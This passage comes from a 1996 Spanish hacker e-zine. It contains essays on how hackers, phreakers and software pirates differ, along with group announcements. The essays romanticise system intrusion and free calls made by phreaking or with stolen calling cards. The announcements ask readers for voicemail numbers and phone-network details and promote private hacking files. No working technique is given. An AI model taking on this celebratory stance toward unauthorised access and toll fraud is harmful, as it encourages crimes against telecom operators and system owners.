"El sistema telefonico es la cosa mas interesante y fascinante que conozco. Hay tantas cosas que aprender. Incluso los phreakers tienen diferentes areas de conocimiento. Hay tantas cosas que se pueden conocer que en una tentativa puede aprenderse algo muy importante y en la siguiente no. O puede suceder lo contrario. Todo depende de como y donde obtener la informacion. Yo mismo quisiera trabajar para una empresa de telecomunicaciones, haciendo algo interesante, como programar una central de conmutacion. Algo que no sea una tarea esclavizadora e insignificante. Algo que sea divertido. Pero hay que correr el riesgo para participar, a no ser que tengas la fortuna de trabajar para una de estas compa¤ias. El tener acceso a las cosas de estas empresas, como manuales, etc., debe ser grandioso".

La mayoria de la gente del submundo no se acerca al sistema telefonico con esa pasion. Solo estan interesados en explorar sus debilidades para

otros fines. En este caso, el sistema telefonico es un fin en si mismo. Otro entrevistado que se identificaba a si mismo como hacker, explicaba:

"Se muy poco sobre telefons simplemente soy un hacker. Mira, no puedo llamar a esos numeros directamente. Mucha gente hace lo mismo. En mi caso, hacer de phreaker es una herramienta, muy utilizada, pero una herramienta al fin y al cabo".

En el submundo informatico, al posibilidad de actuar asi se agradece. Con la division del sistema Bell, llego el uso de la tarjeta de credito telefonica. Estas tarjetas abrieron la puerta para realizar este tipo de actividades a gran escala. Hoy en dia no hace falta ningun equipo especial. Solo un telefono con marcacion por tonos y un numero de una de esas tarjetas de credito, y con eso se puede llamar a cualquier parte del mundo. De igual forma que los participantes con mas conocimientos y motivacion son llamados hackers, aquellos que desean conocer el sistema telefonico son denominados phreakers. El uso de las herramientas que les son propias no esta limitada a los phreakers, pero no es suficiente para merecer la distincion.

Finalmente llegamos a la "telepirateria" del software. Consiste en la distribucion ilegal de software protegido por los derechos de autor. No me refiero a la copia e intercambio de diskettes que se produce entre conocidos (que es igualmente ilegal), sino a la actividad que se realiza alrededor de los sistemas BBS que se especializan en este tipo de trafico. El acceso a este tipo de servicios se consigue contribuyendo, a traves de un modem telefonico, con una copia de un programa comercial. Este acto delictivo permite a los usuarios copiar, o "cargar", de tres a seis programas que otros hayan aportado. Asi, por el precio de una sola llamada telefonica, uno puede amontonar una gran cantidad de paquetes de software. En muchas ocasiones, incluso se evita pagar la llamada telefonica. Notese que al contrario que las dos actividades de hacker y phreaker, no hay ninguna consideracion al margen de "prestigio" o "motivacion" en la telepirateria. En este caso, el cometer los actos basta para "merecer" el titulo.

La telepirateria esta hecha para las masas. Al contrario de lo que sucede con los hackers y los phreakers, no requiere ninguna habilidad especial. Cualquiera que tenga un ordenador con modem y algun software dispone de los elementos necesarios para entrar en el mundo de la telepirateria. Debido a que la telepirateria no requiere conocimientos especiales, el papel de los piratas no inspira ningun tipo de admiracion o prestigio en el submundo informatico. (Una posible excepcion la constituyen aquellos que son capaces de quitar la proteccion del software comercial.) Aunque los hackers y los phreakers de la informatica probablemente no desaprueben la pirateria, y sin duda participen individualmente de alguna forma, son menos activos (o menos visibles) en los BBS que se dedican a la telepirateria. Tienden a evitarlos porque la mayoria de los telepiratas carecen de conocimientos informaticos especiales, y por tanto son conocidos por abusar en exceso de la red telefonica para conseguir el ultimo programa de juegos. Un hacker mantiene la teoria de que son estos piratas los culpables de la mayoria de los fraudes con tarjetas de credito telefonicas.
"Los medios de comunicacion afirman que son unicamente los hackers los responsables de las perdidas de las grandes compa¤ias de telecomunicaciones y de los servicios de larga distancia. Este no es el caso. Nosotros (los hackers) representamos solo una peque¤a parte de estas perdidas. El resto esta causado por los piratas y ladrones que venden estos codigos en la calle."

Otro hacker explica que el proceso de intercambiar grandes programas comerciales por modem normalmente lleva varias horas, y son estas

llamadas, y no las que realizan los "entusiastas de telecomunicaciones", las que preocupan a las compa¤ias telefonicas. Pero sin considerar la ausencia de conocimientos especiales, por la fama de abusar de la red, o por alguna otra razon, parece haber algun tipo de division entre los hackers / phreakers y los telepiratas.

Despues de haber descrito los tres papeles del submundo informatico, podemos ver que la definicion presentada al principio, segun la cual un hacker era alguien que usaba una tarjeta de credito telefonico robada para cargar alguno de los ultimos juegos, no refleja las definiciones dadas en el propio submundo informatico. Obviamente, corresponde a la descripcion de un telepirata y no a las acciones propias de un hacker o un phreaker.

En todo esto hay una serie de avisos. No quiero dar la impresion de que un individuo es un hacker, un phreaker o un telepirata exclusivamente. Estas categorias no son mutuamente excluyentes. De hecho, muchos individuos son capaces de actuar en mas de uno de estos papeles. Dada esta multiplicidad de papeles, ¨como podemos los sociologos, periodistas e investigadores encontrar definiciones precisas para aplicar a las actividades encontradas en casos especificos? Creo que la respuesta se encuentra en buscar los objetivos que se han expuesto previamente. Recuerdese que el objetivo de un hacker no es entrar en un sistema, sino aprender como funciona. El objetivo de un phreaker no es realizar llamadas de larga distancia gratis, sino descubrir lo que la compa¤ia telefonica no explica sobre su red y el objetivo de un telepirata es obtener una copia del software mas moderno para su ordenador. Asi, aunque un individuo tenga un conocimiento especial sobre los sistemas telefonicos, cuando realiza una llamada de larga distancia gratis para cargar un juego, esta actuando como un telepirata.

En cierto modo, esto es un puro argumento semantico. Independientemente de que a un hacker se le etiquete erroneamente como telepirata, los accesos ilegales y las copias no autorizadas de software comercial van a seguir produciendose. Pero si queremos conocer los nuevos desarrollos de la era informatica, debemos identificar y reconocer los tres tipos de actividades con que nos podemos encontrar. El agrupar los tres tipos bajo una sola etiqueta es mas que impreciso, ignora las relaciones funcionales y diferencias entre ellos.

Hay que admitir, de todas formas, que siempre habra alguien que este en desacuerdo con las diferencias que se han descrito entre los grupos. En el desarrollo de esta investigacion, quedo de manifiesto que no los individuos que realizan actualmente estas actividades se ponen de acuerdo en cuanto a donde estan las fronteras. Las categorias y papeles, como se ha indicado previamente, no son mutuamente exclusivos. En particular, el mundo de los hackers y los phreakers estan muy relacionados. Pero, de la misma forma que no debemos agrupar toda la actividad del submundo informatico bajo la acepcion de hacker, tampoco debemos insistir en que nuestras definiciones sean exclusivas hasta el punto de ignorar lo que representan.

Las tipologias que he presentado son amplias y necesitan ser depuradas. Pero representan un paso mas en la representacion precisa, especificacion e identificacion de las actividades que se dan en el submundo de la informatica.

*Articulo estraido de la revista electronica Cyber-Campus:

"http://arraquis.dif.um.es/~cyber" --> Revista Cyber-Campus

os recomiendo que le echeis un vistazo.

EOF

```
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º 09. ANUNCIOS, PETICIONES, ETC...                                          º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
```

1. Ahora que la revista empieza a rodar por ahi, algunos mencionan mi nombre (Incluso aparezco en algunos buscadores, guau) y muchos se confunden. No soy muy quisquilloso con eso, pero me apodo eljaker, todojunto y con k. No es que sea algo muy importante, pero mola ver tu nombre bien escrito por ahi. recordad (-: ELJAKER :-)

2. Sigo necesitando colaboradores, en aspectos como los virus, el phreacking, etc... A ver si alguien se anima.

3. No os corteis, estamos avidos de articulos, cualquiera que nos mandeis seguro que lo publicamos.

4. Acaban de salir los dos primeros Expedientes secretos de los saqueadores. Estos expedientes contienen metodos de hacking, explicitos y comprobados, explicando con detalle tecnicas concretas de hacking. Explican con todo detalle tecnicas reales y que funcionan en los sistemas actuales, comprobados por los miembros de nuestro equipo. Devido a su contenido, que podria ser peligroso si callese en malas manos, hemos decidido no distribuirlos publicamente y solo se lo daremos a nuestros mas cercanos colaboradores y a los que nos proporcionen informaciones valiosas y buenos articulos.

Los dos primeros expedientes son estos:
X1 - Claves de doble uso
X2 - Analisis completo y hacking del ftp-daemon (En preparacion)

5. Teniamos una exclusiva que era una bomba, pero por problemas tecnicos no hemos podido acabarla para este numero. Para terminarlo necesitamos vuestra colaboracion, y os pedimos que nos envies numeros de telefono de buzones de voz, fonobuzones o contestadores multiples que conozcais.

6. El numero pasado, anunciabamos la salida de una nueva publicacion en castellano que trataba estos mismos temas, la TYHS. Tambien deciamos que esto se movia, pues es verdad, acaban de salir dos mas, tambien muy completas y prometedoras. Son la WEB-HACK y la CYBER-HACK. Tal vez en proximos numeros hagamos una comparativa de ellas.

7. Debido al fastidioso lapso de los examenes de febrero, el grupo se disolvera temporalmente. Para asuntos muy urgentes podeis acudir a warezzman. Sera solo un mes, no os preocupeis. Podeis seguir dejando mensajes, pero tardaremos algo en contestarlos.

8. Necesitamos informacion sobre el sistema telefonico espa¤ol, en aspectos como el caller-id, codigos de prefijo (Ej. *XX), traceo de llamadas, centralitas digitales y analogicas, desvio de llamadas, bloqueo de llamadas, llamadas anonimas, etc... Ya se que es dificil y que la telefonica es muy dura, pero macho, algo hay que hacer para remediarlo.

9. Leyendo las otras revistas en castellano sobre hacking, hemos visto que nos llaman "la competencia", yo no lo veo asi, en realidad teniamos que colaborar y ayudarnos. Yo estoy dispuesto a ayudar y a recibir ayuda

y me ofrezco para escribir un articulo en alguna de ellas, si sus editores quieren.

10. Se estan pensando nuevas secciones de la revista, como humor, noticias, cotilleos, entrevistas, etc... decirnos que opinias de ellas y si quereis que las incluyamos en proximos numeros.

EOF

SAQUEADORES N§5 20-12-96
Segunda Epoca
Fanzine del underground informatico

Division tecnica ³ Eljaker, Warezzman, El Duke de Sicilia,
³ +Ochodedos...
Colaboradores ³ SLinK, RoN, RedCool, Valfadir...
Division comercial ³ Ericx, Warezzman, Red...

Disponible en º http://www.geocities.com/SiliconValley/park/7574/
º http://iberhack.ml.org
º http://www.geocities.com/SiliconValley/Park/7479/

E-mail ³ eljaker@hotmail.com
³ el_duke1@hotmail.com
³ warezzman@geocities.com
Irc ³ #hack, #iberhack, etc...
³ En la red hispana de irc
³

"If you give a man a crack he'll be hungry again
tomorrow, but if you teach him how to crack, he'll
never be hungry again"

+ORC

01. CONTENIDOS

EOF

```
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º 10. ¨SER O NO SER HACKER?                                                    º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
```

¨Ser o no ser hacker? Por Francisco Jose Hurtado

Un amigo me pregunto que me interesaba y cuando dije que los ordenadores, me pregunto que sistemas operativos manejaba. Tras nombrar los pocos que conocia, me pregunto: ¨eres un hacker?
Bueno, esa pregunta ha estado dandome vueltas en la cabeza hasta ahora. ¨Que es exactamente un hacker?, ¨un hacker real?

Para aquellos que no saben de que va el tema, las noticias en los medios de comunicacion (y a veces los comics) han sacado las cosas de traste Un hacker, sin tener mucha idea, puede ser desde un usuario de ordenador, hasta alguien que destruye todo lo que encuentra a su paso en un terminal de ordenador.

Algunos idiotas, se dedicaban, hace unos a¤os, a comprar un ordenador por Navidades, con un modem, y sacar informacion interesante, como juegos, datos, etc. de todo tipo de empresas y borrarlos o venderlos (ahora esos suelen estar en esas mismas empresas porque esa es la unica manera de mantenerlos callados sobre lo que encontraron en los ficheros). Ahora bien, ¨de quien es la culpa? Pues de los hackers. Y esto tal vez sea porque a los medios de comunicacion de les suena bien la palabra, aunque me temo que solo una infima minoria sepa el significado correcto de la palabra. No busqueis en el diccionario, porque no tiene nada que ver con acuchillar o cortar.

Los verdaderos hackers son inteligentes, tienen que serlo Puede ser que vayan muy bien en la Facultad, porque no tienen nada mas que hacer; o bien, que no les vaya nada bien, porque les parezca aburrida. Los que se aburren, es porque no les interesa aprender lo que en la Facultad les puedan ense¤ar. Un verdadero hacker quiere aprender cosas nuevas, y como les ense¤an siempre lo mismo, una y otra vez, una y otra vez, pues terminan aburriendose.

Los verdaderos hackers son curiosos y pacientes. Si no fuesen pacientes, terminarian por hartarse de querer entrar en el mismo sistema una y otra vez, asi que lo dejarian por perdido.
Un verdadero hacker NO se mete en el sistema para borrarlo todo o para vender lo que consiga a otros. Los verdaderos hackers, quieren aprender, o quieren satisfacer su curiosidad, esa es la unica finalidad de introducirse en el sistema. Lo que quieren es buscar dentro de un lugar en el que nunca han estado, explorar todos los peque¤os rincones de un mundo diferente del que ya conocen y que les aburre. ¨Porque destruir algo y perderse el placer de decir a los demas que hemos estado en un lugar donde ellos no han estado? ¨Porque destruir todo el mundo de la mayoria de hackers que solo cogen informacion por puro placer y exploran por lo mismo?

Los hackers son inconformistas, ¨porque pagar por unas llamadas de telefono que cuestas pesetas, miles de pesetas? ¨Porque pagar por una informacion que solo vamos a nombrar una vez en nuestra vida, por ejemplo, un fichero de historia?

Los hackers son discretos, quiero decir que cuando entran en un sistema es para su propia satisfaccion, no van por ahi cantandolo a los cuatro vientos. La mayoria de los casos de "hackers" que conocemos por la prensa son en realidad "fantasming", con lo que quiero decir, que si tu le dices a un amigo que has entrado en cierto sistema, de boca en boca

ira pasando hasta que termine por saberse que tu habias entrado en un sistema cinco veces mayor (por el ruido de los canales de comunicacion), que habias destruido miles de ficheros y que habias inutilizado en sistema. Por eso es mejor mantener la boca cerrada.

Llamar gratis y entrar en un sistema que no has visto antes son dos de las experiencias mas excitantes conocidas por el hombre, pero es una actividad que no seria posible de no ser por el phreaking (deporte consistente en hacer llamadas de telefono utilizando herramientas de hardware y software para enga¤ar a la compa¤ia telefonica y que no nos cobre las llamadas).

Honestamente, no se si a alguien le gustara este texto, o si le servira para aclarar un poco sus ideas (a lo mejor se las enredo un poco mas), pero espero que alguien entienda lo que es realmente un hacker.
Y a todos esos a quienes les gusta calificarse de "hackers": "¨a ver si crecemos un poquito?".

Si quereis un fichero que pueda cambiar vuestro modo de ver el mundo de los hackers, los crackers y los phreakers: "The Hacker’s Manifesto". Buscadlo en La Red, por alguno de los archiconocidos buscadores, ya sea el www.lycos.com, el www.webcrawler.com, www.yahoo.com, o cualquier otro.

"Raw Data for Raw Nerves"

*Articulo estraido de la revista electronica Cyber-Campus:

"http://arraquis.dif.um.es/~cyber" --> Revista Cyber-Campus

os recomiendo que le echeis un vistazo.

EOF

```
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º 11. DESPEDIDA                                                               º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ¼
```

Solo nos quedan fuerzas para decir, adios....

el grupo

EOF